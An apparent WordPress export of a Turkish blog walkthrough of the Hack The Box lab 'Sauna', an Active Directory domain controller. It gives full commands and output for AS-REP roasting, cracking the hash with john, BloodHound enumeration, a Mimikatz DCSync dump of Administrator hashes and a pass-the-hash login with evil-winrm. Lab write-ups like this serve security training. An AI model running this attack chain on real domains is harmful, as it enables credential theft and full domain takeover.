{"id":1559,"date":"2021-09-21T13:43:27","date_gmt":"2021-09-21T13:43:27","guid":{"rendered":"http:\/\/144.76.171.171\/blog\/?p=1559"},"modified":"2022-01-30T01:06:26","modified_gmt":"2022-01-30T01:06:26","slug":"suana","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/09\/21\/suana\/","title":{"rendered":"Suana"},"content":{"rendered":"\n\n\n\n\n
Makine Ad\u0131<\/th>\nSeviye<\/th>\nOS<\/th>\nLogo<\/th>\n<\/tr>\n<\/thead>\n
Sauna<\/a> - HTB<\/td>\nKolay<\/td>\nLinux<\/td>\n\"\"<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

Walkthrough<\/h2>\n

nmap taramas\u0131:<\/p>\n

\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/Desktop\/HTB\/Windows\/Suana] \n\u2514\u2500# nmap 10.10.10.175 -p- -A -T4 -Pn \nHost discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. \nStarting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-09-20 11:11 EDT \nNmap scan report for 10.10.10.175 \nHost is up (0.074s latency). \nNot shown: 65517 filtered ports \nPORT      STATE SERVICE       VERSION \n53\/tcp    open  domain        Simple DNS Plus \n80\/tcp    open  http          Microsoft IIS httpd 10.0 \n| http-methods:  \n|_  Potentially risky methods: TRACE \n|_http-server-header: Microsoft-IIS\/10.0 \n|_http-title: Egotistical Bank :: Home \n88\/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2021-09-20 22:16:28Z) \n135\/tcp   open  msrpc         Microsoft Windows RPC \n389\/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name) \n445\/tcp   open  microsoft-ds? \n464\/tcp   open  kpasswd5? \n593\/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0 \n636\/tcp   open  tcpwrapped \n3268\/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name) \n3269\/tcp  open  tcpwrapped \n5985\/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP\/UPnP) \n|_http-server-header: Microsoft-HTTPAPI\/2.0 \n|_http-title: Not Found \n9389\/tcp  open  mc-nmf        .NET Message Framing \n49667\/tcp open  msrpc         Microsoft Windows RPC \n49673\/tcp open  msrpc         Microsoft Windows RPC \n49674\/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0 \n49677\/tcp open  msrpc         Microsoft Windows RPC \n49695\/tcp open  msrpc         Microsoft Windows RPC \nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port \nOS fingerprint not ideal because: Missing a closed TCP port so results incomplete \nNo OS matches for host \nNetwork Distance: 2 hops \nService Info: Host: SAUNA; OS: Windows; CPE: cpe:\/o:microsoft:windows \n\nHost script results: \n|_clock-skew: 7h01m51s \n| smb2-security-mode:  \n|   2.02:  \n|_    Message signing enabled and required \n| smb2-time:  \n|   date: 2021-09-20T22:17:24 \n|_  start_date: N\/A \n\nTRACEROUTE (using port 80\/tcp) \nHOP RTT      ADDRESS \n1   73.97 ms 10.10.14.1 \n2   74.30 ms 10.10.10.175 \n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ . \nNmap done: 1 IP address (1 host up) scanned in 277.03 seconds <\/code><\/pre>\n
Bir DC oldu\u011fu belli, domain ad\u0131n\u0131da \u00f6\u011frenmi\u015f olduk. \u0130nternet sitesine gitti\u011fimde abouth sayfas\u0131nda baz\u0131 isimler buldum bunun \u00fczerine bir AD username list olu\u015fturdum. Asl\u0131nda bunun i\u00e7in bir kod yazd\u0131m belki laz\u0131m olur diye github hesab\u0131m\u0131da ekledim:  https:\/\/github.com\/kudayDOTsite\/username_creater<\/a><\/p>\n
Projeyi \u00e7al\u0131\u015ft\u0131r\u0131n ve isim soyisim olarak veri girin daha sonras\u0131nda size bir wordlist olu\u015fturacakt\u0131r. Bu wordlist'i kullanarak ASPREPROAST denedim b\u00f6ylece offline bir \u015fekilde hash k\u0131rabilirim. ASPREPROAST sald\u0131r\u0131s\u0131 i\u00e7in bir credential'a ihtiyac\u0131m\u0131z yoktur. Sonu\u00e7lar a\u015fa\u011f\u0131da..<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/Desktop\/HTB\/Windows\/Suana] \n\u2514\u2500# crackmapexec ldap 10.10.10.175  -u \/opt\/username_creater\/user_wordlist.txt -p '' --asreproast ASREPROAST  --kdcHost 10.10.10.175                                                                                                   130 \u2a2f \nLDAP        10.10.10.175    389    SAUNA            [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False) \nLDAP        10.10.10.175    389    SAUNA            $krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:55eaef6b85512119ae4c0cb6d88b4f6d$0a9fb778c3011fe88f1f734fe22165ae86607837292b94ed61f699c7b29a62a7a9203a253d401e4d0dc14f91dc42c975620ec9cb0d045bf23316bfcc4f1559bcfbb66b7fd656e9023ce80f44b1d26b48c91c36ff88a08258fec15f3519412c738e341cff1c99e1877a53fb52aa0be5c5559b5cc0b54c1052411be0cf03d9e70285f03bd709af351e9f9f80c72d160f8a0cff70d4fbe4539e72e5b492624749b3a54d22f192001f6ebeae6c3b9feb1e8e1cc918fa69dc89f9399e710eb6ef1f4a7d2bfdb58ea0c1ae52b6bd79b1d25698860843d8ef25ada309e239a8f04fef3f4826e1567d9914a3e4b4e24308cfcd3edcdbf2919199005b7136b2b8f6cd8ca6 <\/code><\/pre>\n
Daha sonras\u0131nda bu hash'i john ile k\u0131rd\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/Desktop\/HTB\/Windows\/Suana] \n\u2514\u2500# john hash --show                                                                                                                                                                                                   \n$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:Thestrokes23 \n\n1 password hash cracked, 0 left <\/code><\/pre>\n
Art\u0131k wsman ile ba\u011flanma ihtimalim olabilir. Bunun i\u00e7in evil-winrm kulland\u0131m. Ve ilk flagimi okudum. Amac\u0131m bundan sonra daha fazla enumeration  yapmak oldu. Bunun i\u00e7in tabikide bloodhound kulland\u0131m.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/HTB\/Windows\/Suana\/blood]\n\u2514\u2500# bloodhound-python -u fsmith  -p 'Thestrokes23' -ns 10.10.10.175 -d EGOTISTICAL-BANK.LOCAL -c all\n\nINFO: Found AD domain: egotistical-bank.local\nINFO: Connecting to LDAP server: SAUNA.EGOTISTICAL-BANK.LOCAL\nINFO: Found 1 domains\nINFO: Found 1 domains in the forest\nINFO: Found 1 computers\nINFO: Connecting to LDAP server: SAUNA.EGOTISTICAL-BANK.LOCAL\nINFO: Found 6 users\nINFO: Connecting to GC LDAP server: SAUNA.EGOTISTICAL-BANK.LOCAL\nINFO: Found 51 groups\nINFO: Found 0 trusts\nINFO: Starting computer enumeration with 10 workers\nINFO: Querying computer: SAUNA.EGOTISTICAL-BANK.LOCAL\nINFO: Done in 00M 18S     <\/code><\/pre>\n
DCSYNC sald\u0131r\u0131s\u0131 yapabilece\u011fimi a\u015fa\u011f\u0131daki \u00e7\u0131kt\u0131da anlad\u0131m ancak bunun i\u00e7in ba\u015fka bir hesab\u0131n credential bilgilerine ihtiyac\u0131m var.<\/p>\n
\"\"<\/p>\n
\"\"<\/p>\n
Elde etti\u011fim autologon ceredential'lar ile hedef kullan\u0131c\u0131ya eri\u015febildim ve dcsync sald\u0131r\u0131s\u0131n\u0131 powershell \u00fczerinden ger\u00e7ekle\u015ftirdim.<\/p>\n
*Evil-WinRM* PS C:\\Users\\svc_loanmgr\\Documents> Invoke-Mimikatz -Command '"lsadump::dcsync \/domain:egotistical-bank.local \/user:Administrator"'\n\nAccess denied\nAt line:2579 char:27\n+             $Processors = Get-WmiObject -Class Win32_Processor\n+                           ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n    + CategoryInfo          : InvalidOperation: (:) [Get-WmiObject], ManagementException\n    + FullyQualifiedErrorId : GetWMIManagementException,Microsoft.PowerShell.Commands.GetWmiObjectCommand\nThe property 'AddressWidth' cannot be found on this object. Verify that the property exists.\nAt line:2593 char:14\n+ ...        if ( ( $Processor.AddressWidth) -ne (([System.IntPtr]::Size)*8 ...\n+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ \n    + CategoryInfo          : NotSpecified: (:) [], PropertyNotFoundException\n    + FullyQualifiedErrorId : PropertyNotFoundStrict\nHostname: SAUNA.EGOTISTICAL-BANK.LOCAL \/ S-1-5-21-2966785786-3096785034-1186376766\n  .#####.   mimikatz 2.1.1 (x64) built on Aug  3 2018 17:05:14 - lil!\n.## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)\n## \/ \\ ##  \/*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n## \\ \/ ##       > http:\/\/blog.gentilkiwi.com\/mimikatz\n'## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )\n  '#####'        > http:\/\/pingcastle.com \/ http:\/\/mysmartlogon.com   ***\/\nmimikatz(powershell) # lsadump::dcsync \/domain:egotistical-bank.local \/user:Administrator                                                                 [DC] 'egotistical-bank.local' will be the domain\n[DC] 'SAUNA.EGOTISTICAL-BANK.LOCAL' will be the DC server             [DC] 'Administrator' will be the user account                                                                Object RDN           : Administrator\n** SAM ACCOUNT **\nSAM Username         : Administrator\nAccount Type         : 30000000 ( USER_OBJECT )                                           User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )\nAccount expiration   :                                                                Password last change : 7\/26\/2021 9:16:16 AM\n\nObject Security ID   : S-1-5-21-2966785786-3096785034-1186376766-500\nObject Relative ID   : 500                                              Credentials:\n  Hash NTLM: 823452073d75b9d1cf70ebdf86c7f98e\n    ntlm- 0: 823452073d75b9d1cf70ebdf86c7f98e\n    ntlm- 1: d9485863c1e9e05851aa40cbb4ab9dff\n    ntlm- 2: 7facdc498ed1680c4fd1448319a8c04f\n    lm  - 0: 365ca60e4aba3e9a71d78a3912caf35c\n    lm  - 1: 7af65ae5e7103761ae828523c7713031\nSupplemental Credentials:\n* Primary:NTLM-Strong-NTOWF *\n    Random Value : 716dbadeed0e537580d5f8fb28780d44\n* Primary:Kerberos-Newer-Keys * \n    Default Salt : EGOTISTICAL-BANK.LOCALAdministrator \n    Default Iterations : 4096 \n    Credentials \n      aes256_hmac       (4096) : 42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657 \n      aes128_hmac       (4096) : a9f3769c592a8a231c3c972c4050be4e \n      des_cbc_md5       (4096) : fb8f321c64cea87f \nSupplemental Credentials:\n* Primary:NTLM-Strong-NTOWF *\n    Random Value : 716dbadeed0e537580d5f8fb28780d44\n\n* Primary:Kerberos-Newer-Keys * \n    Default Salt : EGOTISTICAL-BANK.LOCALAdministrator \n    Default Iterations : 4096 \n    Credentials \n      aes256_hmac       (4096) : 42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657 \n      aes128_hmac       (4096) : a9f3769c592a8a231c3c972c4050be4e \n      des_cbc_md5       (4096) : fb8f321c64cea87f \n    OldCredentials \n      aes256_hmac       (4096) : 987e26bb845e57df4c7301753f6cb53fcf993e1af692d08fd07de74f041bf031 \n      aes128_hmac       (4096) : 145e4d0e4a6600b7ec0ece74997651d0 \n      des_cbc_md5       (4096) : 19d5f15d689b1ce5 \n    OlderCredentials \n      aes256_hmac       (4096) : 9637f48fa06f6eea485d26cd297076c5507877df32e4a47497f360106b3c95ef \n      aes128_hmac       (4096) : 52c02b864f61f427d6ed0b22639849df \n      des_cbc_md5       (4096) : d9379d13f7c15d1c \n\n* Primary:Kerberos * \n    Default Salt : EGOTISTICAL-BANK.LOCALAdministrator \n    Credentials \n      des_cbc_md5       : fb8f321c64cea87f \n    OldCredentials \n      des_cbc_md5       : 19d5f15d689b1ce5 \n\n* Packages * \n    NTLM-Strong-NTOWF \n\n* Primary:WDigest * \n    01  b4a06d28f92506a3a336d97a66b310fa \n    02  71efaf133c578bd7428bd2e1eca5a044 \n    03  974acf4f67e4f609eb032fd9a72e8714 \n    04  b4a06d28f92506a3a336d97a66b310fa \n    05  79ba561a664d78d6242748774e8475c5 \n    06  f1188d8ed0ca1998ae828a60a8c6ac29 \n    07  801ddc727db9fa3de98993d88a9ffa8b \n    08  a779e05da837dd2d303973304869ec0f \n    09  ac2c01846aebce4cbd4e3ec69b47a65d \n    10  6d863d6ae06c3addc49b7a453afe6fa0 \n    11  a779e05da837dd2d303973304869ec0f \n    12  6676b9fdd4aa7f298f1ada64c044c230 \n    13  5a01167d750636d66e5602db9aece9b7 \n    14  f702282bd343c2fee7b98deac8950390 \n    15  a099aa3c81f1affeba59d79a6533f60d \n    16  4bae84b8f0b0306788ff9bda4acb3bd4 \n    17  976d547fb9e04b0ac5ec60508c275da1 \n    18  50c302b71d0e08a1a2be14b56225645f \n    19  edb19e08653443695f6d3599e0a6bddf \n    20  c497465ddc6e2fc14cb0359d0d5de7f8 \n    21  2ed0b4b57196fb190a66224b2b17029f \n    22  37d03051ae1cd6046975948564ab01fa \n    23  d4c7554fe1beb0ed712f50cfec470471 \n    24  8df495fe69cdce409b9f04ea04289b9e \n    25  40788044be982310920cc0740687fefd \n    26  db7f66f1f1a8f46274d20cfdda5b6e1c \n    27  d70226ec52f1ef198c2e1e955a1da9b6 \n    28  abdd681f875a9b3f3a50b36e51692a2c \n    29  dcd140a2ce2bf70fed7ac0e2b60d0dee <\/code><\/pre>\n
Had\u0131 administrator olal\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~] \n\n\u2514\u2500# evil-winrm -i 10.10.10.175 -u Administrator -H 823452073d75b9d1cf70ebdf86c7f98e  \n\nEvil-WinRM shell v3.3 \nWarning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine \nData: For more information, check Evil-WinRM Github: https:\/\/github.com\/Hackplayers\/evil-winrm#Remote-path-completion \nInfo: Establishing connection to remote endpoint \n*Evil-WinRM* PS C:\\Users\\Administrator\\Documents> whoami \negotisticalbank\\administrator <\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
Makine Ad\u0131 Seviye OS Logo Sauna – HTB Kolay Linux Walkthrough nmap taramas\u0131: \u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/Desktop\/HTB\/Windows\/Suana] \u2514\u2500# nmap 10.10.10.175 -p- -A -T4 -Pn Host discovery disabled (-Pn).…<\/p>\n
Devam\u0131n\u0131 okuSuana<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[269,498],"tags":[439,456],"class_list":["post-1559","post","type-post","status-publish","format-standard","hentry","category-active-directory","category-walkthrough","tag-as-rep-roasting","tag-asreproast","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1559","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1559"}],"version-history":[{"count":2,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1559\/revisions"}],"predecessor-version":[{"id":1776,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1559\/revisions\/1776"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1559"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1559"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1559"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}